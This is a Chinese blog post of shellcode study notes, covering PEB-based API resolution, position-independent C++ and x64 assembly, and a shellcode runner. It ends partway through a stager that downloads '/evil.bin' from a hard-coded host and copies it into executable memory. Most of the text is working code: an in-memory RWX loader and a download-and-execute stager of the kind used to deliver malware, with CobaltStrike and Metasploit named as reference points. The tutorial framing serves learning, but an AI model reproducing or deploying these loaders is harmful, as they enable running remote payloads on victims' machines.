Windows系统shellcode开发

以前完全没有接触过该领域的知识和内容,可以说目前是一个从零开始学习的状态。汇编能看懂,但是不会写。学习目标是能够实现自定义的 shellcode,编写自己想要的功能。let’s go!

学习方式主要是参考 one day 师傅的三篇文章(放参考链接啦),本文主要是记录一下自己的学习内容,方便后续查阅,学习的话建议直接看 one day 师傅的文章。

一、基础概念

shellcode 是一段精心编写的机器代码,它具有位置无关、紧凑高效、直接在CPU上执行,无需编译等属性。在攻防对抗中,shellcode常用于网络操作权限提升文件操作等。

在 CobaltStrike 中生成 shellcode 的时候通常会让我们选择以下的两种形式的 shellcode,分别为 stager(分阶段)和 stagerless(无阶段)两种形式。以下是对两种 shellcode 的粗糙理解。

stager shellcode:真正的 shellcode(执行恶意指令) 并不包含 shellcode 中,而是通过互联网下载或从外部文件加载进来;

stagerless shellcode:真正的 shellcode(执行恶意指令) 包含在 shellcode 中,无需从互联网或外部加载任何内容;

调用约定定义了函数调用时 参数传递顺序堆栈清理责任(调用者或被调用者)以及 函数名修饰规则WINAPI 是 Windows 开发中的一个宏定义,用于指定函数使用 __stdcall 调用约定

调用约定 参数顺序 堆栈清理者 典型应用场景 变参支持
__stdcall 右→左 被调用者 Windows API、COM接口
__cdecl 右→左 调用者 C/C++默认、可变参数函数
__fastcall 右→左 被调用者 部分寄存器传参优化场景

二、shellcode 编写注意事项

pe文件的加载流程

  1. 首先将PE文件按照内存结构重写映射到内存中
  2. 修复导入表
  3. 修复重定向表
  4. TLS(线程本地存储)初始化
  5. 修改C++异常、修复导入延迟表等
  6. 执行入口点

我们在编写位置无关的shellcode时,就要注意下面的事项

  1. .rdata节中的全局变量或常量是不能用:因为我们的shellcode并不是exe文件,没有完成重定位这个操作。如果我们使用类似 CHAR VirtualAlloc[] = "VirtualAlloc"; 的常量字符串是不允许的。但话也不能说的这么绝对,如果能保证文件对齐和内存对齐相同,也就可以带上.rdata节的数据,但我感觉太麻烦了。
  2. 不能使用导入表:如果需要用到Windows的API,就需要通过PEB来动态获取或者可以先用PEB获取 LoadLibrary+GetProcAddress 函数的地址,然后用这两个的组合来获取需要的函数的地址。
  3. 不使用C++异常、不使用导入延迟表
  4. 编译后提取 .text 节作为我们的shellcode。

三、环境配置

img

img

img

img

img

四、弹窗 shellcode

4.1 cpp 获取弹窗 shellcode

想要直接通过.text节获取到 shellcode 执行,那么得先保证我们的变量不会保存在.rdata节中,通过以下方式定义的变量就会保存在.text节中,而不是在.rdata中;

1
2
3
4
5
CHAR messageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A','\0'};
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', L'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
CHAR User32[] = { 'U','s','e','r','3','2','.','d','l','l','\0'};

除此之外,需要保证不需要修复导入表也不适用导入表,因此只能通过 peb 获取相应的函数指针进行调用;

大致的步骤如下

  1. 获取PEB的地址:从gs/fs寄存器中获取PEB的地址
  2. 遍历加载的模块列表:从PEB中访问 Ldr 成员,获取 PEB_LDR_DATA 结构。遍历InMemoryOrderModuleList链表,获取每个模块的LDR_DATA_TABLE_ENTRY。
  3. 查找目标DLL(如kernel32.dll):比较每个模块的BaseDllName与目标DLL名称(不区分大小写)
  4. 解析目标DLL的导出表:从DLL基地址获取PE头,定位导出表。遍历导出表中的函数名称,找到目标函数并计算其地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
// sc1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <winternl.h>

// 自定义宽字符转小写(简化版 Unicode 支持)
wchar_t my_towlower(wchar_t c) {
// 基础拉丁字母(A-Z)直接转换
if (c >= L'A' && c <= L'Z') {
return c + 32;
}
return c;
}

// 不区分大小写的宽字符串比较函数(不修改原始字符串)
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
// 空指针检查
if (str1 == NULL || str2 == NULL) return false;

size_t i = 0;
// 动态转换并比较字符,无需修改原始字符串
while (str1[i] != L'\0' && str2[i] != L'\0') {
wchar_t c1 = my_towlower(str1[i]);
wchar_t c2 = my_towlower(str2[i]);

if (c1 != c2) return false;
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == L'\0' && str2[i] == L'\0');
}

// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {

int i = 0;
while (str1[i] && str2[i]) {

if (str1[i] != str2[i]) {
return false;
}
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == '\0' && str2[i] == '\0');
}


// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
wchar_t* fileName = NULL;
wchar_t* temp = (wchar_t*)fullDllName;

// 遍历并找到最后一个 '\\',获取文件名部分
while (*temp) {
if (*temp == L'\\') {
fileName = temp + 1; // 更新文件名的位置
}
temp++;
}

// 如果没有找到 '\\',则认为整个字符串就是文件名
if (!fileName) {
fileName = (wchar_t*)fullDllName;
}

return fileName;
}


FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {

// 从获取 PEB 地址
PPEB pPEB = (PPEB)__readgsqword(0x60);

// 获取 PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;

// 遍历模块列表
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while (pCurrentEntry && pCurrentEntry != pListHead) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

if (pEntry && pEntry->FullDllName.Buffer) {

wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

// 提取 DLL 名称
wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

// 比较 DLL 名称(不区分大小写)
if (MyCompareStringW(CurrentDllName, TargertDllName)) {
// 找到目标 DLL
HMODULE hModule = (HMODULE)pEntry->DllBase;

// 分析 PE 文件找到导出表
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取导出表的各个信息
DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

// 遍历导出表,查找目标函数
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

// 找到函数名,获取其地址
if (MyCompareStringA(functionName, ApiName)) {
return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
}
}

// 如果遍历完导出表未找到函数,返回 NULL
return NULL;
}
}

pCurrentEntry = pCurrentEntry->Flink;
}

return NULL; // 未找到模块
}

__declspec(code_seg(".text$A")) int main()
{
// 1. 函数声明
typedef int(WINAPI* MyMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
typedef FARPROC(WINAPI* MyGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(WINAPI* MyLoadLibraryA)(LPCSTR lpLibFileName);

// 2. 需要用到的API和DLL的名称
CHAR messageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
CHAR User32[] = { 'U','s','e','r','3','2','.','d','l','l','\0' };
CHAR candy[] = { 'c','a','n','d','y' ,'\0' };

// 3.动态获取API函数
MyGetProcAddress pGetProcAddress = (MyGetProcAddress)GetApiAddressByName(kernel32, getProcAddress);
MyLoadLibraryA pLoadLibraryA = (MyLoadLibraryA)GetApiAddressByName(kernel32, loadLibraryA);
MyMessageBoxA pMessageBoxA = (MyMessageBoxA)pGetProcAddress(pLoadLibraryA(User32), messageBoxA);

// 4. 完成相应的功能
pMessageBoxA(NULL, candy, NULL, 0);

return 0;
}

__declspec(code_seg(".text$A"))的意思是把下面定义的函数放进指定的节(Section)中去编译链接。其中$A表示将函数放置到第一个子节中,即放置在.text节的最前面。因此如果不带上__declspec(code_seg(".text$A"))则无法通过导出.text作为 shellcode。

img

img

额,别的先不说,为啥我编译出来的导出有 5kb,而 one day 师傅导出的只有 1kb,难道 visual studio2022 编译策略变了?

img

img

最后将导出的 shellcode 放置到下方的程序中执行;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <Windows.h>

// 将刚才从010Editor导出的shellcode替换上来
unsigned char buf[] = {

};

int main() {

// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));

// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
}

img

4.2 纯汇编获取弹窗 shellcode

对于的废话不说了,说了也白说,开干!(one day 师傅还研究了以下 x86 的 shellcode 生成,但是个人感觉,完全没有必要,如果后面我觉得有必要了,我会再补相关知识,嘻嘻嘻)

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/stager/stager_reverse_https.asm

三个链接的汇编代码都需要研究清楚,方便后续我们将其结合进行调用;

  • block_api.asm:代码通过动态解析哈希值来定位所需的API函数地址

这里我就不对代码做过多解释了,详细的解释直接参考 one day 师傅文章的介绍https://xz.aliyun.com/news/17961

最后编写出来的 x64 版本的弹窗 shellcode 如下,通过导出.text节的内容作为 shellcode,最终 shellcode 大小为279字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
.code

main PROC
cld
and rsp, 0FFFFFFFFFFFFFFF0h

; LoadLibraryA("user32.dll")
mov r10d, 0DEC21CCDh ; hash( "kernel32.dll", "LoadLibraryA" )
lea rcx, user32dll
call GetProcAddressByHash
add rsp, 20h

; MessageBoxA(NULL, "candy", "candy", MB_OK)
mov r10d, 790E24F0h ; hash( "user32.dll", "MessageBoxA" )
xor rcx, rcx ; hWnd = NULL
lea rdx, candy ; lpText = "candy"
lea r8, candy ; lpCaption = "candy"
xor r9d, r9d ; uType = MB_OK
call GetProcAddressByHash
add rsp, 20h
ret

GetProcAddressByHash:
push r9 ; 保存第4个参数
push r8 ; 保存第3个参数
push rdx ; 保存第2个参数
push rcx ; 保存第1个参数
push rsi ; 保存 RSI
xor rdx, rdx ; 清零 rdx
mov rdx, gs:[rdx+60h] ; 获取 PEB 的指针
mov rdx, [rdx+18h] ; 获取 PEB->Ldr
mov rdx, [rdx+20h] ; 从 InMemoryOrder 模块列表中获取第一个模块

next_mod:
mov rsi, [rdx+50h] ; 获取模块名称的指针 (unicode 字符串)
movzx rcx, word ptr [rdx+48h] ; 将 rcx 设置为我们要检查的长度
xor r9, r9 ; 清零 r9,它将存储模块名称的哈希值
loop_modname:
xor rax, rax ; 清零 rax
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 Windows 使用小写模块名称
jl not_lowercase
sub al, 20h ; 如果是,则标准化为大写
not_lowercase:
ror r9d, 0dh ; 右旋转我们的哈希值
add r9d, eax ; 添加名称的下一个字节
loop loop_modname ; 循环直到我们读取足够的数据
; 现在我们已经计算了模块哈希
push rdx ; 保存模块列表中的当前位置,供后续使用
push r9 ; 保存当前模块哈希,供后续使用
; 继续遍历导出地址表
mov rdx, [rdx+20h] ; 获取此模块的基地址
mov eax, dword ptr [rdx+3ch] ; 获取 PE 头
add rax, rdx ; 添加模块的基地址
cmp word ptr [rax+18h], 20Bh ; 这个模块实际上是 PE64 可执行文件吗?
; 这个测试用例涵盖了在 wow64 上运行但在通过 nativex64.asm 的原生 x64 上下文中的情况
; 在 PEB 的模块列表中可能存在 PE32 模块(通常是主模块)
; 由于我们使用的是 win64 PEB ([gs:96]),我们不会看到 win32 PEB ([fs:48]) 中存在的 wow64 模块
jne get_next_mod1 ; 如果不是,继续处理下一个模块
mov eax, dword ptr [rax+88h] ; 获取导出表的 RVA
test rax, rax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有 EAT,处理下一个模块
add rax, rdx ; 添加模块的基地址
push rax ; 保存当前模块的 EAT
mov ecx, dword ptr [rax+18h] ; 获取函数名称的数量
mov r8d, dword ptr [rax+20h] ; 获取函数名称的 rva
add r8, rdx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func:
jrcxz get_next_mod ; 当我们到达 EAT 的开始(我们向后搜索)时,处理下一个模块
dec rcx ; 递减函数名称计数器
mov esi, dword ptr [r8+rcx*4h] ; 获取下一个模块名称的 rva
add rsi, rdx ; 添加模块的基地址
xor r9, r9 ; 清零 r9,它将存储函数名称的哈希值
; 并将其与我们想要的进行比较
loop_funcname:
xor rax, rax ; 清零 rax
lodsb ; 读取 ASCII 函数名称的下一个字节
ror r9d, 0dh ; 右旋转我们的哈希值
add r9d, eax ; 添加名称的下一个字节
cmp al, ah ; 将 AL(名称的下一个字节)与 AH(null)进行比较
jne loop_funcname ; 如果我们没有到达 null 终止符,继续
add r9, [rsp+8] ; 将当前模块哈希添加到函数哈希
cmp r9d, r10d ; 将哈希与我们正在搜索的进行比较
jnz get_next_func ; 如果没有找到,去计算下一个函数哈希
; 如果找到,修复栈,调用函数,然后计算下一个...
pop rax ; 恢复当前模块的 EAT
mov r8d, dword ptr [rax+24h] ; 获取序数表的 rva
add r8, rdx ; 添加模块的基地址
mov cx, [r8+2*rcx] ; 获取所需函数的序数
mov r8d, dword ptr [rax+1ch] ; 获取函数地址表的 rva
add r8, rdx ; 添加模块的基地址
mov eax, dword ptr [r8+4*rcx] ; 获取所需函数的 RVA
add rax, rdx ; 添加模块的基地址以获取函数的实际 VA
; 我们现在修复栈并执行对所需函数的调用...
finish:
pop r8 ; 清除当前模块的哈希
pop r8 ; 清除模块列表中的当前位置
pop rsi ; 恢复 RSI
pop rcx ; 恢复第1个参数
pop rdx ; 恢复第2个参数
pop r8 ; 恢复第3个参数
pop r9 ; 恢复第4个参数
pop r10 ; 弹出返回地址
sub rsp, 20h ; 为四个寄存器参数保留空间 (4 * sizeof(QWORD) = 0x20)
; 如果需要,调用者有责任恢复 RSP(或分配更多空间或对齐 RSP)
push r10 ; 压回返回地址
jmp rax ; 跳转到所需的函数
; 我们现在自动返回到正确的调用者...
get_next_mod:
pop rax ; 弹出当前(现在是前一个)模块的 EAT
get_next_mod1:
pop r9 ; 弹出当前(现在是前一个)模块的哈希
pop rdx ; 恢复我们在模块列表中的位置
mov rdx, [rdx] ; 获取下一个模块
jmp next_mod ; 处理这个模块

main endp

; 字符串常量(位于 .text 段)
user32dll db "user32.dll", 0
candy db "candy", 0
end

img

五、stager shellcode

这里我采用的学习思路是先实现 cpp 实现一些远程 shellcode 加载,理解其思想和实现思路,然后再通过纯汇编实现相关的功能;

5.1 cpp 实现远程 shellcode(wininet)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
// wininet4stager.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <Windows.h>
#include <winternl.h>
#include <Winhttp.h>

// 自定义宽字符转小写(简化版 Unicode 支持)
wchar_t my_towlower(wchar_t c) {
// 基础拉丁字母(A-Z)直接转换
if (c >= L'A' && c <= L'Z') {
return c + 32;
}
return c;
}

// 不区分大小写的宽字符串比较函数(不修改原始字符串)
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
// 空指针检查
if (str1 == NULL || str2 == NULL) return false;

size_t i = 0;
// 动态转换并比较字符,无需修改原始字符串
while (str1[i] != L'\0' && str2[i] != L'\0') {
wchar_t c1 = my_towlower(str1[i]);
wchar_t c2 = my_towlower(str2[i]);

if (c1 != c2) return false;
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == L'\0' && str2[i] == L'\0');
}

// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {
int i = 0;
while (str1[i] && str2[i]) {
if (str1[i] != str2[i]) {
return false;
}
i++;
}

// 必须同时到达字符串结尾才算相等
return (str1[i] == '\0' && str2[i] == '\0');
}

// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
wchar_t* fileName = NULL;
wchar_t* temp = (wchar_t*)fullDllName;

// 遍历并找到最后一个 '\\',获取文件名部分
while (*temp) {
if (*temp == L'\\') {
fileName = temp + 1; // 更新文件名的位置
}
temp++;
}

// 如果没有找到 '\\',则认为整个字符串就是文件名
if (!fileName) {
fileName = (wchar_t*)fullDllName;
}

return fileName;
}

FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {
// 从获取 PEB 地址
PPEB pPEB = (PPEB)__readgsqword(0x60);

// 获取 PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;

// 遍历模块列表
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while (pCurrentEntry && pCurrentEntry != pListHead) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

if (pEntry && pEntry->FullDllName.Buffer) {
wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

// 提取 DLL 名称
wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

// 比较 DLL 名称(不区分大小写)
if (MyCompareStringW(CurrentDllName, TargertDllName)) {
// 找到目标 DLL
HMODULE hModule = (HMODULE)pEntry->DllBase;

// 分析 PE 文件找到导出表
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取导出表的各个信息
DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

// 遍历导出表,查找目标函数
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

// 找到函数名,获取其地址
if (MyCompareStringA(functionName, ApiName)) {
return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
}
}

// 如果遍历完导出表未找到函数,返回 NULL
return NULL;
}
}

pCurrentEntry = pCurrentEntry->Flink;
}

return NULL; // 未找到模块
}

__declspec(code_seg(".text$A")) int main()
{
// 1. 函数声明
typedef int(WINAPI* MyMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
typedef FARPROC(WINAPI* MyGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef HMODULE(WINAPI* MyLoadLibraryA)(LPCSTR lpLibFileName);
typedef HINTERNET(WINAPI* MyInternetOpenA)(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags);
typedef HINTERNET(WINAPI* MyInternetConnectA)(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext);
typedef HINTERNET(WINAPI* MyHttpOpenRequestA)(HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext);
typedef BOOL(WINAPI* MyHttpSendRequestA)(HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength);
typedef BOOL(WINAPI* MyInternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
typedef BOOL(WINAPI* MyInternetCloseHandle)(HINTERNET hInternet);
typedef LPVOID (WINAPI* MyVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef void (WINAPI* MySleep)(DWORD dwMilliseconds);
typedef VOID (WINAPI* MyRtlMoveMemory)(PVOID Destination, PVOID Source, SIZE_T Length);
typedef HANDLE (WINAPI* MyCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD (WINAPI* MyWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
typedef BOOL (WINAPI* MyCloseHandle)(HANDLE hObject);

// 2. 需要用到的API和DLL的名称
CHAR internetOpenA[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','A','\0' };
CHAR internetConnectA[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A','\0' };
CHAR httpOpenRequestA[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A','\0' };
CHAR httpSendRequestA[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A','\0' };
CHAR internetReadFile[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0' };
CHAR internetCloseHandle[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0' };
CHAR virtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\0' };
CHAR messageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };
CHAR sleep[] = { 'S','l','e','e','p','\0' };
CHAR rtlMoveMemory[] = { 'R','t','l','M','o','v','e','M','e','m','o','r','y','\0' };
CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' };
CHAR waitForSingleObject[] = { 'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0' };
CHAR closeHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e','\0' };

CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
CHAR user32[] = { 'U','s','e','r','3','2','.','d','l','l','\0' };
CHAR wininet[] = { 'w','i','n','i','n','e','t','.','d','l','l','\0' };
CHAR UA[] = {'M','y','D','o','w','n','l','o','a','d','e','r','/','1','.','0','\0'};
CHAR IP[] = { '1','9','2','.','1','6','8','.','1','.','1','\0' };
CHAR PATH[] = { '/','e','v','i','l','.','b','i','n','\0'};
CHAR Method[] = {'G','E','T','\0'};
CHAR Version[] = { 'H','T','T','P','/','1','.','1','\0' };

// 3.动态获取API函数
MyGetProcAddress pGetProcAddress = (MyGetProcAddress)GetApiAddressByName(kernel32, getProcAddress);
MyLoadLibraryA pLoadLibraryA = (MyLoadLibraryA)GetApiAddressByName(kernel32, loadLibraryA);
MyVirtualAlloc pVirtualAlloc = (MyVirtualAlloc)GetApiAddressByName(kernel32, virtualAlloc);
MySleep pSleep = (MySleep)GetApiAddressByName(kernel32, sleep);
MyRtlMoveMemory pRtlMoveMemory = (MyRtlMoveMemory)GetApiAddressByName(kernel32, rtlMoveMemory);
MyCreateThread pCreateThread = (MyCreateThread)GetApiAddressByName(kernel32, createThread);
MyWaitForSingleObject pWaitForSingleObject = (MyWaitForSingleObject)GetApiAddressByName(kernel32, waitForSingleObject);
MyCloseHandle pCloseHandle = (MyCloseHandle)GetApiAddressByName(kernel32, closeHandle);
MyMessageBoxA pMessageBoxA = (MyMessageBoxA)pGetProcAddress(pLoadLibraryA(user32), messageBoxA);

MyInternetOpenA pInternetOpenA = (MyInternetOpenA)pGetProcAddress(pLoadLibraryA(wininet), internetOpenA);
MyInternetConnectA pInternetConnectA = (MyInternetConnectA)pGetProcAddress(pLoadLibraryA(wininet), internetConnectA);
MyHttpOpenRequestA pHttpOpenRequestA = (MyHttpOpenRequestA)pGetProcAddress(pLoadLibraryA(wininet), httpOpenRequestA);
MyHttpSendRequestA pHttpSendRequestA = (MyHttpSendRequestA)pGetProcAddress(pLoadLibraryA(wininet), httpSendRequestA);
MyInternetReadFile pInternetReadFile = (MyInternetReadFile)pGetProcAddress(pLoadLibraryA(wininet), internetReadFile);
MyInternetCloseHandle pInternetCloseHandle = (MyInternetCloseHandle)pGetProcAddress(pLoadLibraryA(wininet), internetCloseHandle);

// 初始化Internet会话
HINTERNET hInternet = pInternetOpenA(UA, 1, NULL, NULL, 0);

// 连接到HTTP服务器
HINTERNET hConnect = pInternetConnectA(hInternet, IP, 8080, NULL, NULL, 3, 0, 0);

// 创建HTTP请求
HINTERNET hRequest = pHttpOpenRequestA(hConnect, Method, PATH, Version, NULL, NULL, 0, 0);

// 发送HTTP请求
pHttpSendRequestA(hRequest, NULL, 0, NULL, 0);

// 先分配一个较大的缓冲区来接收数据(支持更大的shellcode)
const DWORD MAX_SHELLCODE_SIZE = 1024 * 1024; // 1MB 缓冲区
LPVOID lpbuffer = pVirtualAlloc(NULL, MAX_SHELLCODE_SIZE, MEM_COMMIT, PAGE_READWRITE);

// 读取数据
DWORD dwTotalRead = 0;
DWORD dwBytesRead = 0;

// 循环读取数据,直到读取完所有数据
do {
if (!pInternetReadFile(hRequest, (LPBYTE)lpbuffer + dwTotalRead, MAX_SHELLCODE_SIZE - dwTotalRead, &dwBytesRead)) {
break;
}
dwTotalRead += dwBytesRead;
} while (dwBytesRead > 0 && dwTotalRead < MAX_SHELLCODE_SIZE);

// 清理网络资源
if (hRequest) pInternetCloseHandle(hRequest);
if (hConnect) pInternetCloseHandle(hConnect);
if (hInternet) pInternetCloseHandle(hInternet);

// 申请一块可执行的内存区域,大小为实际读取的数据大小
LPVOID pExecutableMemory = pVirtualAlloc(NULL, dwTotalRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将下载的数据复制到可执行内存区域
pRtlMoveMemory(pExecutableMemory, lpbuffer, dwTotalRead);

// 释放原始缓冲区
pVirtualAlloc(lpbuffer, 0, MEM_RELEASE, 0);


// 创建一个线程执行内存中的shellcode
